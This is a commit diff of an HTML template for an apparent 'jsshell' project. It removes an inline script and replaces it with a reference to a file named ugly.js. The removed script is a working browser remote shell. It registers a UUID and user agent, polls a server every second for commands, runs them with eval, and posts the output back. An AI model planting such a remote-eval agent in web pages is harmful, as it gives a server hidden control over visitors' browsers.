1010
1111< code > var s = "jsshell_client";</ code >
1212
13- <!-- Shell Body -->
14-
15- < script >
16- ! function foo ( config ) {
17-
18- /* Eval Context */
19- this . context = { } ;
20-
21- /* Logging functions */
22- this . log = function ( text ) {
23- if ( config [ "debug" ] ) {
24- console . log ( "debug: " , text )
25- }
26- } ;
27- this . err = function ( errText ) {
28- console . log ( "error: " , errText )
29- } ;
30-
31- /* get a unique identifier */
32- this . getUUID = function ( ) {
33- function s4 ( ) {
34- return Math . floor ( ( 1 + Math . random ( ) ) * 0x10000 ) . toString ( 16 ) . substring ( 1 ) ;
35- }
36- return s4 ( ) + s4 ( ) + '-' + s4 ( ) + '-' + s4 ( ) + '-' + s4 ( ) + '-' + s4 ( ) + s4 ( ) + s4 ( ) ;
37- } ;
38-
39- /* register as a new client */
40- this . register = function ( ) {
41- var formData = {
42- 'uuid' : getUUID ( ) ,
43- 'user_agent' : navigator . userAgent
44- } ;
45-
46- $ . ajax ( {
47- url : "/register/" ,
48- type : "POST" ,
49- data : formData ,
50- success : function ( data , textStatus , jqXHR ) {
51- log ( data ) ;
52- //log(textStatus);
53- //log(jqXHR);
54- } ,
55- error : function ( jqXHR , textStatus , errorThrown ) {
56- //err(jqXHR);
57- err ( textStatus ) ;
58- //err(errorThrown);
59- }
60- } ) ;
61-
62- this . id = formData [ 'uuid' ] ;
63- } ;
64-
65- /* fetch a new command from the command queue */
66- this . getCommand = function ( ) {
67-
68- $ . ajax ( {
69- url : "/get_command/" + this . id ,
70- type : "GET" ,
71- dataType : 'json' ,
72- context : this ,
73- success : function ( data , textStatus , jqXHR ) {
74-
75- if ( ! ( 'error' in data ) && ( 'success' in data ) )
76- {
77- var cmd = data [ 'success' ] ;
78- var cmd_id = data [ 'cmd_id' ] ;
79- this . exec ( cmd , cmd_id ) ;
80- }
81-
82- log ( data ) ;
83- //log(textStatus);
84- //log(jqXHR);
85- } ,
86- error : function ( jqXHR , textStatus , errorThrown ) {
87- //err(jqXHR);
88- err ( textStatus ) ;
89- //err(errorThrown);
90- }
91-
92- } )
93- } ;
94-
95- /* executes a command in the eval context */
96- this . exec = function ( cmd , cmd_id ) {
97- try
98- {
99- var out = eval . call ( this . context , cmd ) ;
100- var js = JSON . prune ( out ) ;
101-
102- //var out = JSON.stringify(eval(cmd));
103- this . postBack ( { 'output' : js , 'cmd_id' : cmd_id , 'uuid' : this . id } ) ;
104- }
105- catch ( err )
106- {
107- this . postBack ( { 'output' : err . message , 'cmd_id' : cmd_id , 'uuid' : this . id } ) ;
108- }
109- } ;
110-
111- /* when a command has finished executing, post it back to the server */
112- this . postBack = function ( data ) {
113-
114- $ . ajax ( {
115- url : "/post_back/" ,
116- type : "POST" ,
117- data : data ,
118- success : function ( data , textStatus , jqXHR ) {
119- log ( data ) ;
120- //log(textStatus);
121- //log(jqXHR);
122- } ,
123- error : function ( jqXHR , textStatus , errorThrown ) {
124- //err(jqXHR);
125- //err(textStatus);
126- err ( errorThrown ) ;
127- }
128- } ) ;
129- } ;
130-
131- /* Main */
132- this . register ( ) ;
133- setInterval ( this . getCommand , 1000 ) ;
134-
135- } ( {
136- 'debug' : true
137- } ) ;
138-
139- </ script >
140-
141- <!-- End Shell Body -->
13+ <!-- JS Shell -->
14+ < script src ="{{ url_for('static', filename='js/ugly.js') }} "> </ script >
14215
14316</ body >
14417</ html >
0 commit comments